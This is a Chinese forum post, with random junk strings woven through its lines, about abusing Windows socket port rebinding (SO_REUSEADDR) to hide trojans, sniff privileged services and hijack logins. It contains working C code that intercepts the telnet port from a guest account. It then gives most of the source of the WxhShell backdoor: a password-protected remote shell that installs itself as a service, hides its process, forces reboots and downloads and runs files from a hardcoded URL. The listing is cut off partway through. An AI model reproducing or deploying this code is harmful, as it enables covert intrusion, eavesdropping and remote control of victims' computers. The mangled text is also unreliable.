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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q 4 Ye  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aS~k.^N  
%J.Rm0FD:  
  saddr.sin_family = AF_INET; a]X6)6  
:NbD^h)R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ac+7D:X  
+Yi=W o/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PNc200`v4_  
vJ"@#$.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !LIWoa[ F.  
t ?bq ~!X  
  这意味着什么?意味着可以进行如下的攻击: /SMp`Q88  
Y2<#%@%4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ULU ]k#  
d0-}Xl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pbqa  
"Wi`S;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &}T`[ d_Z  
wCmwH=O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?\vJ8H[bD  
/2l4'Q=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r}hj,Sq'  
\XRViG,|5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (|U+(~PJ  
t9m`K9.\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &OI=r vDmo  
.\U+`>4av  
  #include _"WQi}Mm  
  #include O')Ivm,E  
  #include 9!9 Gpi  
  #include    Ch;EnN<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gEi" m5po  
  int main() 6Ir ?@O1'!  
  { 2A`EFk7_X  
  WORD wVersionRequested; P45q}v  
  DWORD ret; {ReAl_Cm  
  WSADATA wsaData; Z]SCIU @+  
  BOOL val; )3)L  
  SOCKADDR_IN saddr; H>M%5bj  
  SOCKADDR_IN scaddr; (^Nf;E  
  int err; kJDMIh|g  
  SOCKET s; tAc;O[L  
  SOCKET sc; sp_(j!]jX  
  int caddsize; 7FMHz.ZRE  
  HANDLE mt; 4uNcp0  
  DWORD tid;   k ,<L#?,a  
  wVersionRequested = MAKEWORD( 2, 2 ); v11mu2  
  err = WSAStartup( wVersionRequested, &wsaData ); H[>_LYZ8  
  if ( err != 0 ) { a 3O_8GU  
  printf("error!WSAStartup failed!\n"); K] Eq"3  
  return -1; sS-5W-&P{T  
  } mD)Nh  
  saddr.sin_family = AF_INET; E#HO0 ]S  
   &)bar.vw/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6eS#L21*  
,YkQJ$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @L0wd>  
  saddr.sin_port = htons(23); t#P)KcWOt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HvTi^Fb\a  
  { siD Sm  
  printf("error!socket failed!\n"); .5 dZaI)  
  return -1; @Rx/]wyH  
  } Hfc^<q4a.  
  val = TRUE; {Or|] 0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,/d-o;W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %< W1y  
  { ;^rZ"2U l  
  printf("error!setsockopt failed!\n"); 8AefgjE  
  return -1; p O: EJ  
  } 5T   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?L'k2J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F5MWxAS,>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $iP#8La:Y  
ZnJnjW PQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t8P>s})[4  
  { DG:=E/@  
  ret=GetLastError(); .qVdo+M%F  
  printf("error!bind failed!\n"); 2<988F  
  return -1; 0 \h2&  
  } Ft>ixn  
  listen(s,2); B' :ZX-Q)  
  while(1) qlgh$9  
  { Uc6U!X  
  caddsize = sizeof(scaddr); R/b=!<  
  //接受连接请求 qy-BZ%3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2XXEg> CU  
  if(sc!=INVALID_SOCKET) R 7{ rY  
  { :ZzG5[o3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V!Joh5=a  
  if(mt==NULL) +'KM~c?]  
  { 7P\sn<  
  printf("Thread Creat Failed!\n"); k,@1rOf  
  break; Cu?$!|V  
  } &1?Q]ZRp  
  } qh&K{r*T  
  CloseHandle(mt); 6g.@I!j E  
  } )b-G2< kb  
  closesocket(s); zh4o<f:-  
  WSACleanup(); FCP5EN  
  return 0; A{c6XQR~z  
  }   |j!D _j#U  
  DWORD WINAPI ClientThread(LPVOID lpParam) }YSH8d  
  { L`Ic0}|lzy  
  SOCKET ss = (SOCKET)lpParam; Z7f~|}  
  SOCKET sc; d@l;dos),  
  unsigned char buf[4096]; CjST*(,b  
  SOCKADDR_IN saddr; X:e'@]Z)?  
  long num; N&GcWcq  
  DWORD val; 3{c&%F~!  
  DWORD ret; *FAg^G&1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;{ezK8FJ}@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HwGtLeB"  
  saddr.sin_family = AF_INET; jxoEOEA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); au7BqV!uL  
  saddr.sin_port = htons(23); -Kc-eU-&q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z g'[.wov  
  {  o j^U  
  printf("error!socket failed!\n"); "*T)L<G  
  return -1; },"g*  
  } mb/3 #)  
  val = 100; O^<6`ku  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y>#j4%D~4  
  { m2}&5vD8-  
  ret = GetLastError(); %EpK=;51U  
  return -1; vx4& ;2  
  } Hv=coS>g:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \.{JS>!  
  { H}$#aXEAn  
  ret = GetLastError(); _9-Ajv  
  return -1; [6Wr t8"  
  } EtL=_D-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'Oc8[8   
  { @2u<Bh}}  
  printf("error!socket connect failed!\n"); J)-owu;  
  closesocket(sc); 7]^Cg;EtM:  
  closesocket(ss); 3LTO+>, |"  
  return -1; Q\r qG  
  } 8t^"1ND  
  while(1) hh?'tb{  
  { ,S8Vfb &  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ysa"f+/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p<+]+,|\~:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f*I5 m=  
  num = recv(ss,buf,4096,0); F;ZLoG*U  
  if(num>0) y jpjJ  
  send(sc,buf,num,0); m0edkt-x  
  else if(num==0) V4"AFArI  
  break; .dygp"*  
  num = recv(sc,buf,4096,0); SB;Wa%  
  if(num>0) >}I}9y+  
  send(ss,buf,num,0); y, Z#? O  
  else if(num==0) =#u2Rx%V  
  break; a} /Vu"  
  } jn7} jWA  
  closesocket(ss); $ -y+97  
  closesocket(sc); :Hd<S   
  return 0 ; m<yA] ';s  
  } J8%|Gd0#4  
IQ_0[  
nFP2wvFM  
========================================================== P]TT  
01dx}L@hz  
下边附上一个代码,,WXhSHELL EvYw$ j  
<Kh\i'8  
========================================================== 6M6QMg^  
,'9tR&S$_  
#include "stdafx.h" a_ P[J8j  
G^R;~J*TDE  
#include <stdio.h> Y}Dp{  
#include <string.h> 06`__$@h  
#include <windows.h> _(jE](,  
#include <winsock2.h> UqHOS{\Sz  
#include <winsvc.h> 08f~vw"  
#include <urlmon.h> 1_t Dp& UO  
i`Yf|^;@2>  
#pragma comment (lib, "Ws2_32.lib") !69^ kIi$  
#pragma comment (lib, "urlmon.lib") ZMe|fn  
3x'30  
#define MAX_USER   100 // 最大客户端连接数 ky#6M? \  
#define BUF_SOCK   200 // sock buffer e\dT~)c  
#define KEY_BUFF   255 // 输入 buffer KZE.}8^%D  
2eK\$_b_  
#define REBOOT     0   // 重启 y((_V%F}  
#define SHUTDOWN   1   // 关机 R*y[/Aw  
.~8+s.y  
#define DEF_PORT   5000 // 监听端口 W(8g3  
{aL$vgYT1  
#define REG_LEN     16   // 注册表键长度 :}-u`K*  
#define SVC_LEN     80   // NT服务名长度 yI%> w4Z  
EzyIsp> _  
// 从dll定义API G225Nz;Y*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yjO7/< 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sHuz10  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V588Leb?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qh'BrYu*  
GlZ9k-ZRF  
// wxhshell配置信息 [E^X=+Jnz  
struct WSCFG { 5 QeGx3'  
  int ws_port;         // 监听端口 jysV%q 3  
  char ws_passstr[REG_LEN]; // 口令 Dmi;# WY  
  int ws_autoins;       // 安装标记, 1=yes 0=no >SJ$41"E  
  char ws_regname[REG_LEN]; // 注册表键名 ]~zJ7I  
  char ws_svcname[REG_LEN]; // 服务名 JXAyF6 $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zJ:r0Bt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &>jkfG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C{Ug ?hVP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U{_s1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7`/qL "  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -FR;:  
VB\6S G  
}; 9c^EoYpy-  
v6VhXV6$|  
// default Wxhshell configuration *\WI!%  
struct WSCFG wscfg={DEF_PORT, ]mj+*l5  
    "xuhuanlingzhe", \k=Qq(=  
    1, wUeOD.;#F  
    "Wxhshell", |BkY"F7m9  
    "Wxhshell", Qzhnob#C9  
            "WxhShell Service", -X[[ OR9+  
    "Wrsky Windows CmdShell Service", \?^wu  
    "Please Input Your Password: ", iq:[+  
  1, 48Lmy<}*  
  "http://www.wrsky.com/wxhshell.exe", (3h*sd5ly  
  "Wxhshell.exe" }Yl=lc vw  
    }; % 4"~O _S  
gL"}53A  
// 消息定义模块 ])L'Rk#4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -9I%   
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Sby(l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gJxVU41  
char *msg_ws_ext="\n\rExit."; c.Y8CD.tqL  
char *msg_ws_end="\n\rQuit."; ;8T=uCi  
char *msg_ws_boot="\n\rReboot..."; V^z;^mdd  
char *msg_ws_poff="\n\rShutdown..."; Bqi2n'^O2  
char *msg_ws_down="\n\rSave to ";  ;"^9L  
.^S78hr]n  
char *msg_ws_err="\n\rErr!";  {Yk20Zn  
char *msg_ws_ok="\n\rOK!"; mv?H]i`N  
y7-:l u$9  
char ExeFile[MAX_PATH]; *F*fH>?C#  
int nUser = 0; 0|!<|N<  
HANDLE handles[MAX_USER]; [Be53U{=  
int OsIsNt; ()#tR^T  
p.] .M"A  
SERVICE_STATUS       serviceStatus; AV4HX\`{P0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cu^*x/0,  
TY\"@(Q|G  
// 函数声明 <57l|}8  
int Install(void); /VO@>Hoh  
int Uninstall(void); rOHW  
int DownloadFile(char *sURL, SOCKET wsh); TQd FC\@f"  
int Boot(int flag); K=?F3tX^  
void HideProc(void); nj0AO0  
int GetOsVer(void); k3 [h'.ps  
int Wxhshell(SOCKET wsl); w a<C*o  
void TalkWithClient(void *cs); qetP93N_*  
int CmdShell(SOCKET sock); fsc~$^.~\  
int StartFromService(void); DIp:S&q2  
int StartWxhshell(LPSTR lpCmdLine); R(83E B~_  
nvK7*-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OG+r|.N;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7 eQoc2X2  
j4xr1y3^  
// 数据结构和表定义 ' xZPIj+  
SERVICE_TABLE_ENTRY DispatchTable[] = K}<!{/fi)  
{ %)Uvf`Xhh4  
{wscfg.ws_svcname, NTServiceMain}, <GgtP55  
{NULL, NULL} -f2`qltjb  
}; *tM7>  
Y+u-J4bj  
// 自我安装 zO5u{  
int Install(void) ObyuhAR  
{ ho]!G498  
  char svExeFile[MAX_PATH]; +%qSB9_>N{  
  HKEY key; =XMD+  
  strcpy(svExeFile,ExeFile); [+%d3+27  
{1Ju} =69  
// 如果是win9x系统,修改注册表设为自启动 1 ;\]D9i  
if(!OsIsNt) { bB;~,W&E1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q7 uAf3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *>aZc::  
  RegCloseKey(key); U0h )pdo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >@)*S n9"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g[EM]q,  
  RegCloseKey(key); ASKAgU"h  
  return 0; X,WQ'|rC  
    } <JL\?)}n  
  } s- ,=e  
} `Di ^6UK(  
else { fiE>H~  
G2CZwm{/f  
// 如果是NT以上系统,安装为系统服务 ka5#<J7<p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }uF[Ra  
if (schSCManager!=0) ?W[J[cb  
{ Qp kKVLi  
  SC_HANDLE schService = CreateService R`@8.]cpPy  
  ( q+A<g(Xu  
  schSCManager, i?GfY C2q  
  wscfg.ws_svcname, MkG`w,  
  wscfg.ws_svcdisp, AI1@-  
  SERVICE_ALL_ACCESS, :DtZ8$I`]C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UF&0 & `@  
  SERVICE_AUTO_START, Vs_\ykO  
  SERVICE_ERROR_NORMAL, r6d0x  
  svExeFile, k4qLB1&,  
  NULL, k^H0b\hYY  
  NULL, Ku<b0<`  
  NULL, gYTyH.  
  NULL, 2{A;du%&  
  NULL ,|T*|2Gm  
  ); K1?Z5X(b  
  if (schService!=0) `z9)YH  
  { 2d-TU_JqX  
  CloseServiceHandle(schService); T@;! yz}Pf  
  CloseServiceHandle(schSCManager); Gw ~{V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qg'c?[~W@  
  strcat(svExeFile,wscfg.ws_svcname); |d,F-9iw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5f;n<EP y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FU_fCL8yA  
  RegCloseKey(key); t8+?U^j  
  return 0; q';&SR#"`K  
    } :3f-9aRC!  
  } S~+O` y^  
  CloseServiceHandle(schSCManager); E2^ KK:4s  
} Uc_jQ4e_  
} B#FHf Z  
oM6j>&$b  
return 1; E rr4 %-  
} kCj`V2go  
^I]LoG:  
// 自我卸载 <+V-k|  
int Uninstall(void) PT3>E5`Nu  
{ ).pO2lLF4  
  HKEY key; >vUB%OLyP  
U(U@!G)  
if(!OsIsNt) { :]vA 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1TKEm9j]u  
  RegDeleteValue(key,wscfg.ws_regname); L ;6b+I  
  RegCloseKey(key); q_cC7p6t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s(Z(e %  
  RegDeleteValue(key,wscfg.ws_regname); ARPKzF`Wq  
  RegCloseKey(key); Vwjk[ DOL  
  return 0; =v.{JV#  
  } 4w 'lu"U  
} ]JH64~a  
} yH*hL0mO  
else { xpF](>LC(  
$30oc Tt{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vkJ)FEar  
if (schSCManager!=0)  Do|]eD  
{ )D;*DUtMVm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3filAGR?  
  if (schService!=0) ^7.XGWQ)-  
  { 2+z1h^)W  
  if(DeleteService(schService)!=0) { jAXR`D  
  CloseServiceHandle(schService); |pJC:woq  
  CloseServiceHandle(schSCManager); t#Th9G]1  
  return 0; qP7G[%=v  
  } N#4N?BBP"  
  CloseServiceHandle(schService); #<4--$Xo  
  } /#f^n]v  
  CloseServiceHandle(schSCManager); >)Ioo$B  
} Y(_KizBY  
} 9RH"d[%yc}  
n@hl2M6.x9  
return 1; >L gVj$Z  
} xRlYr# %  
/Y,r@D  
// 从指定url下载文件 F|Q H  
int DownloadFile(char *sURL, SOCKET wsh) 3V?817&6z  
{ ) V36t{  
  HRESULT hr; # Q}_e7t  
char seps[]= "/"; )n( Q  
char *token; %]!adro~  
char *file; obO}NF*g^  
char myURL[MAX_PATH]; yY Y Nu`  
char myFILE[MAX_PATH]; L;S}s, 2x  
qy ,"X)^#  
strcpy(myURL,sURL); ?n.)&ZIx0  
  token=strtok(myURL,seps); qNxB{0(D  
  while(token!=NULL) VevNG *  
  { }x:0os  
    file=token; -p`L% xj\  
  token=strtok(NULL,seps); A?8\Y{FQ  
  } *t(4 $  
<C'Z H'p  
GetCurrentDirectory(MAX_PATH,myFILE); v`x|]-/M&  
strcat(myFILE, "\\"); ='}#`',  
strcat(myFILE, file); yzR=A%V8A  
  send(wsh,myFILE,strlen(myFILE),0); !77NG4B  
send(wsh,"...",3,0); oZN'H T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zT[6eZ8m  
  if(hr==S_OK) e"k/d<  
return 0; QB&BTT=!  
else AOb]qc  
return 1; sZg6@s=  
/:Lu_)5   
} irKIy  
6ZOy&fd,Ty  
// 系统电源模块 .TpsJXF  
int Boot(int flag) /[=E0_t+  
{ W2]TRO  
  HANDLE hToken; 0fArF*  
  TOKEN_PRIVILEGES tkp; N|K4{Frm  
?mv:neh  
  if(OsIsNt) { z-r2!^q27  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [sy j#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o6a0'vU><  
    tkp.PrivilegeCount = 1; }^%xvmQ\]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .c+9P<VmC}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #_JYh?  
if(flag==REBOOT) { e,0-)?5R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7TX2&kMoc  
  return 0; 6RoAl$}'  
} *[}^[J x  
else { FX}Gt=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I G ~`i I  
  return 0; O;uG?.\  
} -ijC_`>  
  } KP]"P*? ?  
  else { 6%Mt  
if(flag==REBOOT) { Cu;5RSr2Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 78 f$6J q  
  return 0; kz} R[7  
} U7h(`b  
else { B1!kn}KlL{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x;s0j"`Jb  
  return 0; lLhL`C!  
} QzvHm1,@  
}  #xh_  
q5DEw&UZJ  
return 1; H`9Uf)  
} ~f\G68c  
(p#0)C  
// win9x进程隐藏模块 D{8PQ2x>  
void HideProc(void) 3SttHu0X  
{ [iP#VM-N  
Of,2Q#oji  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aB~S?.l  
  if ( hKernel != NULL ) qet>1<  
  { GL$De,V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X{xBYZv4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zAzP,1$?  
    FreeLibrary(hKernel); )kXhtjOl|  
  } ypOLp SYk  
"Jq8?FoT  
return; 46@{5)Tq  
} kRCQv-*  
b;sVls  
// 获取操作系统版本 D,v U  
int GetOsVer(void) 4`m~FNVS   
{ soA|wk\A  
  OSVERSIONINFO winfo; Hmt^h(*/2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x+8_4>,>Y7  
  GetVersionEx(&winfo); 2Y\ d<.M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EP'h@zdz  
  return 1; &s Pq<lo  
  else 9vUO *D  
  return 0; o1W:ox?kO  
} KqBk~-G  
3s\.cG?`r  
// 客户端句柄模块 c\B|KhDk  
int Wxhshell(SOCKET wsl) %VYAd)gC  
{ j`^$#  
  SOCKET wsh; MFTk qbc  
  struct sockaddr_in client; 'o|30LzYgQ  
  DWORD myID; ?0? R  
j 8*ZF  
  while(nUser<MAX_USER) t@u7RL*n:<  
{ 2 rw%H  
  int nSize=sizeof(client); O5$/55PI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m'P1BLk  
  if(wsh==INVALID_SOCKET) return 1; 6"Bic rY  
mPI8_5V8]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hX `}Q4(k  
if(handles[nUser]==0) (Yp+bS(PU*  
  closesocket(wsh); % K(<$!  
else pw7[y^[Qg  
  nUser++; @u==x *{ |  
  } 'F>'(XWWQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zSo)k~&[3  
'cY` w  
  return 0; o-}R?>  
} $)3%U?AP  
O@p]KSfk  
// 关闭 socket 311LC cRp  
void CloseIt(SOCKET wsh) :Ad &$e g+  
{ t#q<n:WeYU  
closesocket(wsh); pZ/>[TP(%F  
nUser--; !rqF}d  
ExitThread(0); /~x "wo  
} EEGy!bff  
ZPbpp@,  
// 客户端请求句柄 nstUMr6  
void TalkWithClient(void *cs) yAoe51h?  
{ B6wRg8  
| WvUq  
  SOCKET wsh=(SOCKET)cs; w)Covz'uf  
  char pwd[SVC_LEN]; @V03a )6,h  
  char cmd[KEY_BUFF]; dtpoU&?6s  
char chr[1]; XC.%za8  
int i,j; @|Rrf*J?%  
e{m2l2Tx:  
  while (nUser < MAX_USER) {  -_`>j~  
=Zi2jL?On  
if(wscfg.ws_passstr) { Z!hafhcX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); um9_ru~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T49zcJf;  
  //ZeroMemory(pwd,KEY_BUFF); g!-,]  
      i=0; FJasS8  
  while(i<SVC_LEN) { y@\V +  
~%YBI9$+  
  // 设置超时 )_U<7"~0l  
  fd_set FdRead; xQUu|gtL4  
  struct timeval TimeOut; 4'0Dr++  
  FD_ZERO(&FdRead); 66fO7OJs  
  FD_SET(wsh,&FdRead); XLH0 ;+CL{  
  TimeOut.tv_sec=8; x g0iN'e'K  
  TimeOut.tv_usec=0; g]*#%Xa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mauI42  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fMOU$0]$<  
7}X[ 4("bB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rz.?i+  
  pwd=chr[0]; b[`Yi1^]%g  
  if(chr[0]==0xd || chr[0]==0xa) { Z?\2F%  
  pwd=0; xXM{pd  
  break; uvrB5=u  
  } X-wf:h?i  
  i++; &}A[x1x06)  
    } JfR %L q~  
0zi~p>*nJC  
  // 如果是非法用户,关闭 socket qTqwPWW*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rYbpih=x  
} RO.k]x6  
_ ]Z s,Hy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IP(Vr7-v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~P@Q7T*  
{HCz p,Y  
while(1) { |]c8jG\h  
<"_d]?,  
  ZeroMemory(cmd,KEY_BUFF); GSRVe/ [  
& 9<+;*/  
      // 自动支持客户端 telnet标准   ,]d,-)KX8  
  j=0; svq<)hAf<  
  while(j<KEY_BUFF) { "OdXY"G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ihfiK|a  
  cmd[j]=chr[0]; }&[  
  if(chr[0]==0xa || chr[0]==0xd) { gy_>`16K  
  cmd[j]=0; sNLs\4v  
  break; m8o(J\]  
  } H(Z88.OM  
  j++; *#C+iAF|)'  
    } sn)3Z A  
[Ki0b^  
  // 下载文件 apu4DAy&8  
  if(strstr(cmd,"http://")) { {62n7'U{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o<|P9#(U"  
  if(DownloadFile(cmd,wsh)) MZT23 [+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dfij|>:*0  
  else J{k79v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GhIKvX_N  
  } |v$JCU3!A  
  else { FSA1gAW6g  
s;6CExH  
    switch(cmd[0]) { l=v4Fa0^jF  
  Np"exFqN k  
  // 帮助 Yo|,]X>/  
  case '?': { 0Nnsjh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lLF-{  
    break; 3U7 *>H  
  } jbS\vyG  
  // 安装 uA#P'?  
  case 'i': { ~NpA".PB  
    if(Install()) oyYR-4m\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=0BMPDgm  
    else a_'2V;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' <@3i[M  
    break; v%iof1 T'  
    } {/ BT9|LI  
  // 卸载 a 0GpfW$t  
  case 'r': { 'qOREN  
    if(Uninstall()) cT!\{ ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~JKH&x<  
    else ZHm7Isa1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VB, ?Mo}R  
    break; /Sc l#4bW  
    } 8[E!E)4M  
  // 显示 wxhshell 所在路径 yL2o}ZbS  
  case 'p': { F)'.g d  
    char svExeFile[MAX_PATH]; 0a-0Y&lQm  
    strcpy(svExeFile,"\n\r");  y"H*%]  
      strcat(svExeFile,ExeFile); \uza=e  
        send(wsh,svExeFile,strlen(svExeFile),0); t3&LO~Ye  
    break; *fn*h[pV&  
    } W8KDX_vGJ  
  // 重启 4<lRPsvgc  
  case 'b': { Wb?8j M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Z}9>~m  
    if(Boot(REBOOT)) $D|e>U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T<55a6NoK  
    else { 4DL)rkO  
    closesocket(wsh); Cc%LztP>  
    ExitThread(0); rU2%dkTa  
    } K"4>DaK2P  
    break; ck.w 5|$  
    } \v.C]{Gzc  
  // 关机 (K)]qNH  
